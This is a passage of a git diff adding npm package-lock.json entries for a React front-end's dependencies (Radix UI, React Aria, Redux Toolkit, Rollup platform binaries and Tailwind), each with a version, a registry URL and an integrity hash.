^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-toggle": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.2.tgz", + "integrity": "sha512-lntKchNWx3aCHuWKiDY+8WudiegQvBpDRAYL8dKLRvKEH8VOpl0XX6SSU/bUBqIRJbcTy4+MW06Wv8vgp10rzQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-use-controllable-state": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-toggle-group": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle-group/-/react-toggle-group-1.1.2.tgz", + "integrity": "sha512-JBm6s6aVG/nwuY5eadhU2zDi/IwYS0sDM5ZWb4nymv/hn3hZdkw+gENn0LP4iY1yCd7+bgJaCwueMYJIU3vk4A==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-direction": "1.1.0", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-roving-focus": "1.1.2", + "@radix-ui/react-toggle": "1.1.2", + "@radix-ui/react-use-controllable-state": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-tooltip": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.1.8.tgz", + "integrity": "sha512-YAA2cu48EkJZdAMHC0dqo9kialOcRStbtiY4nJPaht7Ptrhcvpo+eDChaM6BIs8kL6a8Z5l5poiqLnXcNduOkA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.1", + "@radix-ui/react-compose-refs": "1.1.1", + "@radix-ui/react-context": "1.1.1", + "@radix-ui/react-dismissable-layer": "1.1.5", + "@radix-ui/react-id": "1.1.0", + "@radix-ui/react-popper": "1.2.2", + "@radix-ui/react-portal": "1.1.4", + "@radix-ui/react-presence": "1.1.2", + "@radix-ui/react-primitive": "2.0.2", + "@radix-ui/react-slot": "1.1.2", + "@radix-ui/react-use-controllable-state": "1.1.0", + "@radix-ui/react-visually-hidden": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-callback-ref": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.0.tgz", + "integrity": "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-controllable-state": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.1.0.tgz", + "integrity": "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-callback-ref": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-escape-keydown": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.0.tgz", + "integrity": "sha512-L7vwWlR1kTTQ3oh7g1O0CBF3YCyyTj8NmhLR+phShpyA50HCfBFKVJTpshm9PzLiKmehsrQzTYTpX9HvmC9rhw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-callback-ref": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-layout-effect": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.0.tgz", + "integrity": "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-previous": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.1.0.tgz", + "integrity": "sha512-Z/e78qg2YFnnXcW88A4JmTtm4ADckLno6F7OXotmkQfeuCVaKuYzqAATPhVzl3delXE7CxIV8shofPn3jPc5Og==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-rect": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.0.tgz", + "integrity": "sha512-0Fmkebhr6PiseyZlYAOtLS+nb7jLmpqTrJyv61Pe68MKYW6OWdRE2kI70TaYY27u7H0lajqM3hSMMLFq18Z7nQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/rect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-size": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.0.tgz", + "integrity": "sha512-XW3/vWuIXHa+2Uwcc2ABSfcCledmXhhQPlGbfcRXbiUQI5Icjcg19BGCZVKKInYbvUCut/ufbbLLPFC5cbb1hw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.0" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-visually-hidden": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.1.2.tgz", + "integrity": "sha512-1SzA4ns2M1aRlvxErqhLHsBHoS5eI5UUcI2awAMgGUp4LoaoWOKYmvqDY2s/tltuPkh3Yk77YF/r3IRj+Amx4Q==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.0.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/rect": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.0.tgz", + "integrity": "sha512-A9+lCBZoaMJlVKcRBz2YByCG+Cp2t6nAnMnNba+XiWxnj6r4JUFqfsgwocMBZU9LPtdxC6wB56ySYpc7LQIoJg==", + "license": "MIT" + }, + "node_modules/@react-aria/focus": { + "version": "3.19.1", + "resolved": "https://registry.npmjs.org/@react-aria/focus/-/focus-3.19.1.tgz", + "integrity": "sha512-bix9Bu1Ue7RPcYmjwcjhB14BMu2qzfJ3tMQLqDc9pweJA66nOw8DThy3IfVr8Z7j2PHktOLf9kcbiZpydKHqzg==", + "license": "Apache-2.0", + "dependencies": { + "@react-aria/interactions": "^3.23.0", + "@react-aria/utils": "^3.27.0", + "@react-types/shared": "^3.27.0", + "@swc/helpers": "^0.5.0", + "clsx": "^2.0.0" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", + "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" + } + }, + "node_modules/@react-aria/interactions": { + "version": "3.23.0", + "resolved": "https://registry.npmjs.org/@react-aria/interactions/-/interactions-3.23.0.tgz", + "integrity": "sha512-0qR1atBIWrb7FzQ+Tmr3s8uH5mQdyRH78n0krYaG8tng9+u1JlSi8DGRSaC9ezKyNB84m7vHT207xnHXGeJ3Fg==", + "license": "Apache-2.0", + "dependencies": { + "@react-aria/ssr": "^3.9.7", + "@react-aria/utils": "^3.27.0", + "@react-types/shared": "^3.27.0", + "@swc/helpers": "^0.5.0" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", + "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" + } + }, + "node_modules/@react-aria/ssr": { + "version": "3.9.7", + "resolved": "https://registry.npmjs.org/@react-aria/ssr/-/ssr-3.9.7.tgz", + "integrity": "sha512-GQygZaGlmYjmYM+tiNBA5C6acmiDWF52Nqd40bBp0Znk4M4hP+LTmI0lpI1BuKMw45T8RIhrAsICIfKwZvi2Gg==", + "license": "Apache-2.0", + "dependencies": { + "@swc/helpers": "^0.5.0" + }, + "engines": { + "node": ">= 12" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" + } + }, + "node_modules/@react-aria/utils": { + "version": "3.27.0", + "resolved": "https://registry.npmjs.org/@react-aria/utils/-/utils-3.27.0.tgz", + "integrity": "sha512-p681OtApnKOdbeN8ITfnnYqfdHS0z7GE+4l8EXlfLnr70Rp/9xicBO6d2rU+V/B3JujDw2gPWxYKEnEeh0CGCw==", + "license": "Apache-2.0", + "dependencies": { + "@react-aria/ssr": "^3.9.7", + "@react-stately/utils": "^3.10.5", + "@react-types/shared": "^3.27.0", + "@swc/helpers": "^0.5.0", + "clsx": "^2.0.0" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", + "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" + } + }, + "node_modules/@react-stately/utils": { + "version": "3.10.5", + "resolved": "https://registry.npmjs.org/@react-stately/utils/-/utils-3.10.5.tgz", + "integrity": "sha512-iMQSGcpaecghDIh3mZEpZfoFH3ExBwTtuBEcvZ2XnGzCgQjeYXcMdIUwAfVQLXFTdHUHGF6Gu6/dFrYsCzySBQ==", + "license": "Apache-2.0", + "dependencies": { + "@swc/helpers": "^0.5.0" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" + } + }, + "node_modules/@react-types/shared": { + "version": "3.27.0", + "resolved": "https://registry.npmjs.org/@react-types/shared/-/shared-3.27.0.tgz", + "integrity": "sha512-gvznmLhi6JPEf0bsq7SwRYTHAKKq/wcmKqFez9sRdbED+SPMUmK5omfZ6w3EwUFQHbYUa4zPBYedQ7Knv70RMw==", + "license": "Apache-2.0", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" + } + }, + "node_modules/@reduxjs/toolkit": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.12.0.tgz", + "integrity": "sha512-KiT+RzZbp6mQET+Mg+h2c97+9j1sNflUxQkIHI7Yuzf6Peu+OYpmkn6nbHWmLLWj+1ZODUJFwGZ7gx3L9R9EOw==", + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "@standard-schema/utils": "^0.3.0", + "immer": "^11.0.0", + "redux": "^5.0.1", + "redux-thunk": "^3.1.0", + "reselect": "^5.1.0" + }, + "peerDependencies": { + "react": "^16.9.0 || ^17.0.0 || ^18 || ^19", + "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0" + }, + "peerDependenciesMeta": { + "react": { + "optional": true + }, + "react-redux": { + "optional": true + } + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.62.4.tgz", + "integrity": "sha512-RrPokAb7dmbxFoeO3TloqHyOjgye8RkBhSqmp4aJMIex4c9r46ZstPnleDQOq1t46VOVjwIuwNogIqbodV1Vvg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.62.4.tgz", + "integrity": "sha512-JKuJc+pnpks2pjy7L/N3v/cAkZxYlnmuZoD840ldbMI5KDbC4iO9NKwPKYdjYFCMAIIlBzYSFHxIJVYzRo2/8A==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.62.4.tgz", + "integrity": "sha512-krw5uS2STmvJ02x0uTXHbqQNuz+9eZ1iw+qXk9dmW2gvV4jV7O2hEoOnuhFrpOPiel1mBFtqbxYZZtC46hXLOw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.62.4.tgz", + "integrity": "sha512-wsTxtgApb4PrOsNJIm0FZ1h3WvCC+k9uxLJ4ad75hgoS4NiRes2SoJFlDAyMwiUY8IssDqGcHbXuN0sx1tfF1A==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.62.4.tgz", + "integrity": "sha512-GUOnQlyZe3yAXhWOtOMsn5Qkrv5E5mZXa0thbARWi5Ei2szlVXJFQhddZ4HbAzh8q92w5twp+CQvs/eFanz9YQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.62.4.tgz", + "integrity": "sha512-/Y7f3QuxjzPKsjA/rfEDa3+0vXqyjmJ50Ln8dPpCmWkKTrUoWHG1cWhTqaAMLob2m2nESWuC7yGrREz019Ztqg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.62.4.tgz", + "integrity": "sha512-81wiiX3v7aqy+T+bT61TJ78yJjRquqFFTTbAPt08imfQQzkPIW8t6aJbkTagtCCrXMNc9D66+geqlK7ydLPNqA==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.62.4.tgz", + "integrity": "sha512-9kmDIvNZqdoHOBZgNtpTBeLWYO/LVipM3H/j62P8848/l/VPEQL6N3uxU9pvP1oZAsXyC2MEnFP3ovRjo7WYNQ==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.62.4.tgz", + "integrity": "sha512-CcnXHWnXg69g+DX5VWL3FHts3qMRN2uVEHX+BZvGLdd07/gXkn3ePjYtO1LDJvxkGKVHMclKBRa1QUTH+6toYQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.62.4.tgz", + "integrity": "sha512-iFOibiHnTRuhrWLlRsOQFdZJJIa7S8OwkneJr4ocALP16u5yk6lWLINFwhHaEqBFMsKDUZofLkGos7+CPzGB3g==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.62.4.tgz", + "integrity": "sha512-XnWYMI7euHlb5a871xPja+Gm7DRCFU+FGRrtS2sMq9N8FvqtpagUy6gD4YOemC5MRk9xbh8+jYMEJbigFQwsgA==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.62.4.tgz", + "integrity": "sha512-qGDAlO0U8xedCcsdRm9oaoQY8DAx/QT7uIxJWhCdx0ceIWX783UC9QSYkdpzAe29wNiVfp24+bZdQmn49o45SQ==", + "cpu": [ + "loong64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.62.4.tgz", + "integrity": "sha512-ru4H6ezD7ysA5EiEK6qkkaEb4modH8CTej6kUy/gQi20u3kB3G7Zn8snXXkeJSCOFKG/rbPPtM/+9Wgas1961w==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.62.4.tgz", + "integrity": "sha512-2W4MO5WQVJnbJaZdvDb9rhBDuFU1nKIepPFpJUBsTh2k1YY2g+ODViaWuyOAjQ5cOP7NvrvLzt3wvHOoiAvc7w==", + "cpu": [ + "ppc64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.62.4.tgz", + "integrity": "sha512-+fxjfuoAmVMCYV5QyjoIpu0cp5DOiOTeqYFk1AVaxGr+/ravWLX89XfQmptsoWcaVy/TGf2hexzbUOrCQIL1CQ==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.62.4.tgz", + "integrity": "sha512-jTn8JfHGL4djjFxPuM06LmNUJDsst2jeVlsd9OmIH6zc5sC9K6rIuO4YajXatLUpBmBKl6b35ro1QZocLi+tcA==", + "cpu": [ + "riscv64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.62.4.tgz", + "integrity": "sha512-oCJCJL4pXsoDcP2QZ+JVlPTIRc6266zsIaeJJsWImmF7HO0W8nb6HuSgZlMWxJwaPf8ehbSw8yo0EUw925hKsA==", + "cpu": [ + "s390x" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.9.5", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.9.5.tgz", + "integrity": "sha512-Dq1bqBdLaZ1Gb/l2e5/+o3B18+8TI9ANlA1SkejZqDgdU/jK/ThYaMPMJpVMMXy2uRHvGKbkz9vheVGdq3cJfA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.62.4.tgz", + "integrity": "sha512-qiXbGG2jkjXhzXpsFZSR2Xpb8DN/UaxYsbb/STbuR/6fpaDgRmmaq1B/LmtF2wQFOFOSsK2jdE0RZ3a0zHn4QA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.62.4.tgz", + "integrity": "sha512-nWeM//hxv8mIo6jD7Hu4o48DVmV9pbV6gsKaWU+4NFyqHoPKwrkRiZGLKUhOBk8qNmDmpwFtPKg80Bo/Tn4xiQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.62.4.tgz", + "integrity": "sha512-s62SQ/vgsRSvMwDkOEfTqfgASF0f26ZNaQuTA6Aok5lrikf89yI2W0gFHvZb2Jpgc6N8JnOKZgCK2iciO3CsxQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.62.4.tgz", + "integrity": "sha512-J6wGf8TVGbXJq+HH+ttTvrcfNKPbuZecV6KT1B8I18BC5IURUh5kl4Yl5OEP5eFIUoI5BWxCsyYMhFsDx8kekw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.62.4.tgz", + "integrity": "sha512-zmfrQd/0wu6oJs8Vq8KwY/YtsKSsLtKe/HwAP4Wqy8LhWjeT55fHRAkOhYQ12wI3ayS4Tt12d5CDRD7N96SAYQ==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.62.4.tgz", + "integrity": "sha512-qPzHqdj9rfUD+w79dtE07zi/kFwKyCJqplp5K5ygeLTp7jLpAoc16OAH39HSmRC9UpozaecsleI8uAdEj6v2yw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.62.4", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.62.4.tgz", + "integrity": "sha512-zD6NdeWEByGE9QF9vCrlJ5YQB4oq9q91kPZS37Jwj5hOkvR1lTBSpsKhKDw4IJtbQ35LsTS1HD9DZYGKIshU1Q==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "license": "MIT" + }, + "node_modules/@standard-schema/utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", + "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==", + "license": "MIT" + }, + "node_modules/@swc/helpers": { + "version": "0.5.15", + "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz", + "integrity": "sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.8.0" + } + }, + "node_modules/@tailwindcss/node": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/node/-/node-4.0.8.tgz", + "integrity": "sha512-FKArQpbrbwv08TNT0k7ejYXpF+R8knZFAatNc0acOxbgeqLzwb86r+P3LGOjIeI3Idqe9CVkZrh4GlsJLJKkkw==", + "license": "MIT", + "dependencies": { + "enhanced-resolve": "^5.18.1", + "jiti": "^2.4.2", + "tailwindcss": "4.0.8" + } + }, + "node_modules/@tailwindcss/oxide": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide/-/oxide-4.0.8.tgz", + "integrity": "sha512-KfMcuAu/Iw+DcV1e8twrFyr2yN8/ZDC/odIGta4wuuJOGkrkHZbvJvRNIbQNhGh7erZTYV6Ie0IeD6WC9Y8Hcw==", + "license": "MIT", + "engines": { + "node": ">= 10" + }, + "optionalDependencies": { + "@tailwindcss/oxide-android-arm64": "4.0.8", + "@tailwindcss/oxide-darwin-arm64": "4.0.8", + "@tailwindcss/oxide-darwin-x64": "4.0.8", + "@tailwindcss/oxide-freebsd-x64": "4.0.8", + "@tailwindcss/oxide-linux-arm-gnueabihf": "4.0.8", + "@tailwindcss/oxide-linux-arm64-gnu": "4.0.8", + "@tailwindcss/oxide-linux-arm64-musl": "4.0.8", + "@tailwindcss/oxide-linux-x64-gnu": "4.0.8", + "@tailwindcss/oxide-linux-x64-musl": "4.0.8", + "@tailwindcss/oxide-win32-arm64-msvc": "4.0.8", + "@tailwindcss/oxide-win32-x64-msvc": "4.0.8" + } + }, + "node_modules/@tailwindcss/oxide-android-arm64": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.0.8.tgz", + "integrity": "sha512-We7K79+Sm4mwJHk26Yzu/GAj7C7myemm7PeXvpgMxyxO70SSFSL3uCcqFbz9JA5M5UPkrl7N9fkBe/Y0iazqpA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-darwin-arm64": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.0.8.tgz", + "integrity": "sha512-Lv9Isi2EwkCTG1sRHNDi0uRNN1UGFdEThUAGFrydRmQZnraGLMjN8gahzg2FFnOizDl7LB2TykLUuiw833DSNg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-darwin-x64": { + "version": "4.0.8", + "resolved": 